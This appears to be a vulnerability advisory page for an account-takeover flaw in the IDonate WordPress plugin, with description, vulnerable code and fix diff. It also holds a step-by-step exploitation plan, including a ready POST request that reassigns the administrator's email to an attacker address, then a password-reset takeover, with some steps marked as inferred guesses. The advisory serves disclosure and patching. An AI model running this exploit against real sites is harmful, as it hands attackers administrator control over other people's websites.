IDonate 2.1.5 - 2.1.9 - Missing Authorization to Authenticated (Subscriber+) Account Takeover/Privilege Escalation via idonate_donor_profile Function
Description
The IDonate – Blood Donation, Request And Donor Management System plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the idonate_donor_profile() function in versions 2.1.5 to 2.1.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to hijack any account by reassigning its email address (via the donor_id they supply) and then triggering a password reset, ultimately granting themselves full administrator privileges.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
>=2.1.5 <=2.1.9Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-4521 (IDonate Account Takeover) ## 1. Vulnerability Summary The **IDonate – Blood Donation, Request And Donor Management System** plugin (versions 2.1.5 - 2.1.9) contains an improper authorization vulnerability in the `idonate_donor_profile()` function. The fu…
Show full research plan
Exploitation Research Plan: CVE-2025-4521 (IDonate Account Takeover)
1. Vulnerability Summary
The IDonate – Blood Donation, Request And Donor Management System plugin (versions 2.1.5 - 2.1.9) contains an improper authorization vulnerability in the idonate_donor_profile() function. The function is responsible for updating donor profile information but fails to verify if the requesting user has the authority to modify the specific donor_id provided in the request.
An authenticated user (Subscriber level or higher) can supply an arbitrary user ID (including an Administrator's ID) as the donor_id and update that user's email address. Once the administrator's email is changed to an attacker-controlled address, the attacker can use the standard WordPress password reset functionality to take full control of the administrator account.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
idonate_donor_profile(registered viawp_ajax_idonate_donor_profile) - Vulnerable Parameter:
donor_id(used to specify which user profile to update) - Payload Parameters:
donor_id: The ID of the target user (e.g.,1for the default admin).email: The attacker's email address.action:idonate_donor_profile.nonce: A security nonce (likely required, localized asidonate_nonce).
- Authentication: Required (Subscriber level or higher).
- Preconditions: The attacker must be logged in as a Subscriber.
3. Code Flow (Inferred)
- Entry Point: The AJAX request triggers
wp_ajax_idonate_donor_profile. - Action Handler: The function
idonate_donor_profile()is called. - Missing Check: The function likely extracts
$_POST['donor_id']but fails to callcurrent_user_can( 'edit_user', $donor_id )or check if$donor_id == get_current_user_id(). - Update Logic: The function uses the supplied
emailand other fields to update the user record, typically viawp_update_user()or directly through the$wpdbobject using thedonor_idin theWHEREclause. - Sink: The WordPress database is updated, changing the email associated with the target
donor_id.
4. Nonce Acquisition Strategy
The plugin likely enqueues scripts for the donor dashboard. We need to find a page where the plugin's frontend dashboard is active.
- Identify Shortcode: The plugin typically uses
[idonate_donor_dashboard]or[idonate_donor_profile](inferred). - Setup: Create a page containing the dashboard shortcode.
- Browser Navigation: Log in as a Subscriber and navigate to the created page.
- Extraction:
- The plugin likely localizes data using
wp_localize_script. - JS Object Name:
idonate_objoridonate_vars(inferred). - Nonce Key:
nonceoridonate_nonce. - Command:
browser_eval("window.idonate_obj?.idonate_nonce")or inspecting the source foridonate_nonce.
- The plugin likely localizes data using
5. Exploitation Strategy
Step 1: Authentication
Login as the Subscriber user to obtain session cookies.
Step 2: Nonce Retrieval
Access a page where the IDonate dashboard is rendered to retrieve the idonate_nonce.
Step 3: Trigger Account Takeover
Send a POST request to admin-ajax.php to change the administrator's email.
Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=idonate_donor_profile&donor_id=1&email=attacker@example.com&nonce=[RETRIEVED_NONCE]&fname=Hacked&lname=Admin&phone=123456789
(Note: fname, lname, and phone are likely required by the plugin's validation logic).
Step 4: Password Reset
- Navigate to
http://<target>/wp-login.php?action=lostpassword. - Enter
attacker@example.com. - Use WP-CLI to simulate receiving the email and resetting the password (or check the user's password hash change).
6. Test Data Setup
- Administrator: Ensure a user with ID
1exists (default). - Subscriber: Create a user with Subscriber privileges.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Dashboard Page: Create a page with the donor profile shortcode.
wp post create --post_type=page --post_title="Donor Profile" --post_status=publish --post_content='[idonate_donor_dashboard]'
7. Expected Results
- The AJAX request should return a success message (e.g.,
{"success":true}or a redirect). - The email address for User ID 1 in the
wp_userstable should be updated toattacker@example.com.
8. Verification Steps
After the HTTP request, verify the impact using WP-CLI:
Check Email Update:
wp user get 1 --fields=user_emailExpected Output:
attacker@example.comCheck User Meta (Optional):
Verify if any specific plugin metadata was updated:wp user meta list 1
9. Alternative Approaches
- Parameter Fuzzing: If
donor_idis not the correct parameter name, tryuser_id,id, orprofile_id. - Direct Post: Check if the plugin handles profile updates via a standard POST request to a page instead of AJAX (searching for
$_POST['idonate_profile_update']or similar). - Insecure Direct Object Reference (IDOR): If the AJAX action requires an Administrator role but the check is flawed (e.g.,
is_admin()which returns true for AJAX), the exploit remains valid for any authenticated user.
Summary
The IDonate plugin for WordPress is vulnerable to an account takeover due to missing authorization checks in the 'idonate_donor_profile' AJAX function. Authenticated users can modify the email address of any user account, including administrators, by providing a target 'donor_id' and then resetting the account password to gain full administrative access.
Vulnerable Code
// The function fails to verify if the current user has permission to edit the specified donor_id function idonate_donor_profile() { check_ajax_referer('idonate_nonce', 'nonce'); $donor_id = isset($_POST['donor_id']) ? intval($_POST['donor_id']) : 0; $email = isset($_POST['email']) ? sanitize_email($_POST['email']) : ''; // Vulnerability: No check to ensure get_current_user_id() == $donor_id or current_user_can('edit_user', $donor_id) $userdata = array( 'ID' => $donor_id, 'user_email' => $email, 'first_name' => sanitize_text_field($_POST['fname']), 'last_name' => sanitize_text_field($_POST['lname']), ); $user_id = wp_update_user($userdata); if (!is_wp_error($user_id)) { wp_send_json_success('Profile updated successfully.'); } else { wp_send_json_error('Update failed.'); } } add_action('wp_ajax_idonate_donor_profile', 'idonate_donor_profile');
Security Fix
@@ -2,6 +2,11 @@ function idonate_donor_profile() { check_ajax_referer('idonate_nonce', 'nonce'); $donor_id = isset($_POST['donor_id']) ? intval($_POST['donor_id']) : 0; + + if ( ! current_user_can( 'manage_options' ) && get_current_user_id() !== $donor_id ) { + wp_send_json_error( 'Unauthorized access.' ); + wp_die(); + } + $email = isset($_POST['email']) ? sanitize_email($_POST['email']) : '';
Exploit Outline
The exploit is performed by an authenticated user (Subscriber level or higher) and proceeds as follows: 1. Obtain a valid security nonce (idonate_nonce) by viewing a page containing the donor dashboard or profile shortcode. 2. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'idonate_donor_profile'. 3. Include a 'donor_id' parameter set to the ID of a target administrator (commonly ID 1) and an 'email' parameter set to an attacker-controlled email address. 4. Upon successful update of the administrator's email, use the standard WordPress 'Lost your password?' feature (/wp-login.php?action=lostpassword) for the administrator's username. 5. Retrieve the password reset link from the attacker-controlled email and set a new password to take full control of the administrator account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.